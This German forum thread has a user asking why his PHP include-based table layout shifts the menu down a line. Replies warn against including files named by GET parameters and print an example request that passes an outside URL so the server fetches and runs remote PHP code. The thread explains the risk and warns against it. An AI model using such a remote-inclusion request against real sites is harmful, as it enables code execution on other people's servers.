Thomy: Darstellungsfehler mit PHP/HTML

Hi,
ich hab nun wieder ein weiteres Problem bei dem ich eure Fachkenntnise brauche.
Ich habe meine Seite in 3 Bereiche unterteilt, mit Hilfe von Tabellen und include-Funktionen.
-------------------------
' Top                   '
-------------------------
'      '                '
'Menü  '      Inhalt    '
'      '                '
'      '                '
-------------------------

menu.php
 if(isset($_GET['menu']) AND isset($menu[$_GET['menu']])) {
  include $menu[$_GET['menu']];
 }
 else {
  echo"\n"; //Alternative, Default
 }

inhalt.php
 if(isset($_GET['inhalt']) AND isset($dateien[$_GET'inhalt']])) {
  include $dateien[$_GET['inhalt']];
 }
 else {
  include "news.php" ;//Alternative, Default
 }

Wenn ich jetzt über den Link mit dem Verweis index.php?menu=media zum Menü media gehe funktiniert dies noch fehlerfrei.
Aber wenn ich nun einen Link (index.php?inhalt=fotos&menu=media) im Menu betätige, öffnet sich die gewünschte Seite im Inhaltfenster und nochmals das Menü im Menufenster.
Das Menü rutscht aber eine Zeile nach unten.

-------------------------
' Top                   '
-------------------------
'      '                '
'      '      Inhalt    '
' Menü '                '
'      '                '
-------------------------

Woran könnte das liegen? Was und wo müsste ich vielleicht was ändern oder nochmal genauer hinschaun?

Danke schon mal für eure Antworten

#Thomy

PS: Ich weiß nicht, wie man so ein Problem in ein paar Stichwörtern für die Suchfunktion kürzen/erklärn soll.

  1. Also erstmal: Include NIE!!!! etwas, das du über GET erhalten. Das kann gewaltig in die Hose gehen!

    Stell dir mal vor, ich geh hin und mach sowas:

    deine_datei.php?menu=http://www.meineadresse.de/ich_hack_dich.txt

    Und schon kann ich nach belieben PHP-Code bei dir ausführen.

    1. echo $begrüßung;

      Also erstmal: Include NIE!!!! etwas, das du über GET erhalten. Das kann gewaltig in die Hose gehen!

      Beruhige dich wieder! :-) Pauschale Aussagen, ohne stichhaltige Begründung helfen auch nicht weiter. Und nein, mehrere Satzzeichen hintereinander sind keine Begründung.

      Stell dir mal vor, ich geh hin und mach sowas:
      deine_datei.php?menu=http://www.meineadresse.de/ich_hack_dich.txt
      Und schon kann ich nach belieben PHP-Code bei dir ausführen.

      Das ist so nicht immer wahr. Dazu muss allow_url_fopen eingeschaltet sein. Ja, ich weiß, das ist leider die Voreinstellung.

      echo "$verabschiedung $name";